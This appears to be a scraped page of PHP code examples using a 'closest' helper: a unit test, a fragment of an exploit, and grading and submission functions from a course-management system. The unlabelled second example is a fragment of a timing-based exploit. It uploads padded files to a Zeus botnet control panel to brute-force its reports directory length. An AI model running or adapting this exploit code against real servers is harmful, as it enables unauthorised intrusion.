Exemple #1
0
 public function testExampleCases()
 {
     $this->specify("Verify good cases", function () {
         $pair = closest(array(5, 2, 8, 1, 5));
         expect($pair[0])->equals(1);
         expect($pair[1])->equals(2);
         $pair = closest(array(30, 1, 40, 60, 68));
         expect($pair[0])->equals(60);
         expect($pair[1])->equals(68);
     });
     $this->specify("Verify wrong cases", function () {
         $result = closest(array(5));
         expect($result)->equals("error");
         $result = closest(array(30, 30, 30, 30, 30));
         expect($result)->equals("error");
     });
 }
 }
 $shortStats->setVars($newVars);
 $shortDelta = $shortStats->calcAverage();
 print "\n[!] statistic for relative-short average time period: {$shortDelta}";
 $shortStats->reset();
 # if short average + 50% short average > long average
 if ($shortDelta + $shortDelta / 100 * PLUS_TIME_INTERVAL_THRESHOLD < $longDelta) {
     $negTimeCounter = 0;
     print "\n[V] a satisfying interval has been achieved. moving on to brute forcing the directory length.";
     for ($i = MAX_FILE_NAME; $i >= 0; $i--) {
         $stopper->start();
         $Zbot->uploadFile(rand_str($i) . '.dat', str_repeat('A', 9990) . rand_str(10));
         $stopper->stop();
         $delta = $stopper->getDelta();
         print "\n{$i}: {$delta}";
         if (@closest(array($longDelta, $shortDelta), $delta) == $shortDelta) {
             #              max - file-len - botid - botnet - "/files///" - ".dat"
             $reportsDirLen = MAX_FILE_NAME - $i - strlen($Zbot->getBotId() . $Zbot->getBotnetName()) - 9;
             if ($reportsDirLen <= 0) {
                 if ($negTimeCounter == ALLOWED_NEGATIVE_RESULTS) {
                     print "\n[X] The server has excceeded the amount of allowed negative results(" . ALLOWED_NEGATIVE_RESULTS . ") exploit is probably not effective";
                     exit(-1);
                 }
                 print "\n[!] the resulted dir length has indicated a negative length({$reportsDirLen}) which is erroneous ";
                 $negTimeCounter++;
             }
             print "\n[V] the reports dir length is {$reportsDirLen} chars long!\n";
             $gotWhatWeCameFor = true;
             break;
         }
     }
Exemple #3
0
function create_zip_index($path, $id, $online = FALSE) {
    global $charset, $m, $course_id;

    $fp = fopen($path, "w");
    if (!$fp) {
        die("Unable to create assignment index file - aborting");
    }
    fputs($fp, '
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=' . $charset . '">
                <style type="text/css">
                .sep td, th { border: 1px solid; }
                td { border: none; }
                table { border-collapse: collapse; border: 2px solid; }
                .sep { border-top: 2px solid black; }
                </style>
	</head>
	<body>
		<table class="table-default">
			<tr>
				<th>' . $m['username'] . '</th>
				<th>' . $m['am'] . '</th>
				<th>' . $m['filename'] . '</th>
				<th>' . $m['sub_date'] . '</th>
				<th>' . $m['grade'] . '</th>
			</tr>');

    $assign = Database::get()->querySingle("SELECT * FROM assignment WHERE id = ?d", $id);
    if ($assign->grading_scale_id) {
        $serialized_scale_data = Database::get()->querySingle('SELECT scales FROM grading_scale WHERE id = ?d AND course_id = ?d', $assign->grading_scale_id, $course_id)->scales;
        $scales = unserialize($serialized_scale_data);
        $scale_values = array_value_recursive('scale_item_value', $scales);
    }
    $result = Database::get()->queryArray("SELECT a.uid, a.file_path, a.submission_date, a.grade, a.comments, a.grade_comments, a.group_id, b.deadline FROM assignment_submit a, assignment b WHERE a.assignment_id = ?d AND a.assignment_id = b.id ORDER BY a.id", $id);
    foreach ($result as $row) {
        $filename = basename($row->file_path);
        $filelink = empty($filename) ? '&nbsp;' :
                ("<a href='$filename'>" . htmlspecialchars($filename) . '</a>');
        $late_sub_text = ((int) $row->deadline && $row->submission_date > $row->deadline) ?  "<div style='color:red;'>$m[late_submission]</div>" : '';
        if ($assign->grading_scale_id) {
            $key = closest($row->grade, $scale_values, true)['key'];
            $row->grade = $scales[$key]['scale_item_name'];
        }
        fputs($fp, '
			<tr class="sep">
				<td>' . q(uid_to_name($row->uid)) . '</td>
				<td>' . q(uid_to_am($row->uid)) . '</td>
				<td align="center">' . $filelink . '</td>
				<td align="center">' . $row->submission_date .$late_sub_text. '</td>
				<td align="center">' . $row->grade . '</td>
			</tr>');
        if (trim($row->comments != '')) {
            fputs($fp, "
			<tr><td colspan='6'><b>$m[comments]: " .
                    "</b>$row->comments</td></tr>");
        }
        if (trim($row->grade_comments != '')) {
            fputs($fp, "
			<tr><td colspan='6'><b>$m[gradecomments]: " .
                    "</b>$row->grade_comments</td></tr>");
        }
        if (!empty($row->group_id)) {
            fputs($fp, "<tr><td colspan='6'>$m[groupsubmit] " .
                    "$m[ofgroup] $row->group_id</td></tr>\n");
        }
    }
    fputs($fp, ' </table></body></html>');
    fclose($fp);
}
Exemple #4
0
function show_edit_form($id, $sid, $assign) {
    global $m, $langGradeOk, $tool_content, $course_code, $langCancel,
           $langBack, $assign, $langWorkOnlineText, $course_id;
    $sub = Database::get()->querySingle("SELECT * FROM assignment_submit WHERE id = ?d",$sid);
    if (count($sub)>0) {
        $uid_2_name = display_user($sub->uid);
        if (!empty($sub->group_id)) {
            $group_submission = "($m[groupsubmit] $m[ofgroup] " .
                    "<a href='../group/group_space.php?course=$course_code&amp;group_id=$sub->group_id'>"
                     . gid_to_name($sub->group_id) . "</a>)";
        } else {
            $group_submission = '';
        }

        $grade = Session::has('grade') ? Session::get('grade') : $sub->grade;
        $comments = Session::has('comments') ? Session::get('comments') : q($sub->grade_comments);
        $email_status = !Session::has('email') ?: " checked";

        $pageName = $m['addgradecomments'];
        if($assign->submission_type){
            $submission = "
                    <div class='form-group'>
                        <label class='col-sm-3 control-label'>$langWorkOnlineText:</label>
                        <div class='col-sm-9'>
                            $sub->submission_text
                        </div>
                    </div>";
        } else {
            $submission = "
                    <div class='form-group'>
                        <label class='col-sm-3 control-label'>$m[filename]:</label>
                        <div class='col-sm-9'>
                            <a href='index.php?course=$course_code&amp;get=$sub->id'>".q($sub->file_name)."</a>
                        </div>
                    </div>";
        }
        if ($assign->grading_scale_id) {
            $serialized_scale_data = Database::get()->querySingle('SELECT scales FROM grading_scale WHERE id = ?d AND course_id = ?d', $assign->grading_scale_id, $course_id)->scales;
            $scales = unserialize($serialized_scale_data);
            $scale_options = "<option value> - </option>";
            $scale_values = array_value_recursive('scale_item_value', $scales);
            if (!in_array($sub->grade, $scale_values) && !is_null($sub->grade)) {
                $sub->grade = closest($sub->grade, $scale_values)['value'];
            }
            foreach ($scales as $scale) {
                $scale_options .= "<option value='$scale[scale_item_value]'".($sub->grade == $scale['scale_item_value'] ? " selected" : "").">$scale[scale_item_name]</option>";
            }
            $grade_field = "
                    <select name='grade' class='form-control' id='scales'>
                        $scale_options
                    </select>";
        } else {
            $grade_field = "<input class='form-control' type='text' name='grade' maxlength='4' size='3' value='$sub->grade'> ($m[max_grade]: $assign->max_grade)";
        }
        $tool_content .= action_bar(array(
                array(
                    'title' => $langBack,
                    'url' => "index.php?course=$course_code&id=$sub->assignment_id",
                    'icon' => "fa-reply",
                    'level' => 'primary-label'
                )
            ))."
            <div class='form-wrapper'>
                <form class='form-horizontal' role='form' method='post' action='index.php?course=$course_code'>
                <input type='hidden' name='assignment' value='$id'>
                <input type='hidden' name='submission' value='$sid'>
                <fieldset>
                    <div class='form-group'>
                        <label class='col-sm-3 control-label'>$m[username]:</label>
                        <div class='col-sm-9'>
                        $uid_2_name $group_submission
                        </div>
                    </div>
                    <div class='form-group'>
                        <label class='col-sm-3 control-label'>$m[sub_date]:</label>
                        <div class='col-sm-9'>
                            <span>".q($sub->submission_date)."</span>
                        </div>
                    </div>
                    $submission
                    <div class='form-group".(Session::getError('grade') ? " has-error" : "")."'>
                        <label for='grade' class='col-sm-3 control-label'>$m[grade]:</label>
                        <div class='col-sm-4'>
                            $grade_field
                            <span class='help-block'>".(Session::hasError('grade') ? Session::getError('grade') : "")."</span>
                        </div>
                    </div>
                    <div class='form-group'>
                        <label for='comments' class='col-sm-3 control-label'>$m[gradecomments]:</label>
                        <div class='col-sm-9'>
                            <textarea class='form-control' rows='3' name='comments'  id='comments'>$comments</textarea>
                        </div>
                    </div>
                    <div class='form-group'>
                        <div class='col-sm-9 col-sm-offset-3'>
                            <div class='checkbox'>
                                <label>
                                    <input type='checkbox' value='1' id='email_button' name='email'$email_status>
                                    $m[email_users]
                                </label>
                            </div>
                        </div>
                    </div>
                    <div class='form-group'>
                        <div class='col-sm-9 col-sm-offset-3'>
                            <input class='btn btn-primary' type='submit' name='grade_comments' value='$langGradeOk'>
                            <a class='btn btn-default' href='index.php?course=$course_code&id=$sub->assignment_id'>$langCancel</a>
                        </div>
                    </div>
                </fieldset>
                </form>
            </div>";
    } else {
        Session::Messages($m['WorkNoSubmission'], 'alert-danger');
        redirect_to_home_page('modules/work/index.php?course='.$course_code.'&id='.$id);
    }
}